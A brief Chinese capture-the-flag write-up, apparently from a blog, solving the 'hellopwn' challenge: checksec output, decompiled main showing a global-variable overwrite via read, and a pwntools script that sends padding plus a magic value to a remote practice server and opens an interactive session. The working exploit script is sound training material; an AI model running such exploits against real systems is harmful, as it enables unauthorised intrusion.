先查壳，只开了 NX
[*] '\hellopwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
放进 IDA 反编译。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686();
return 0LL;
}
大概是读进 601068 ，然后对 60106C 作比较
利用 read 的溢出。
from pwn import *
p = remote("61.147.171.105", 64116)
payload = b'O'*4 + p64(1853186401)
p.sendlineafter('lets get helloworld for bof', payload)
p.interactive()
标签：__,攻防,No,RELRO,NX,pwn,1853186401,Hello
From： https://www.cnblogs.com/monyhzc/p/18128842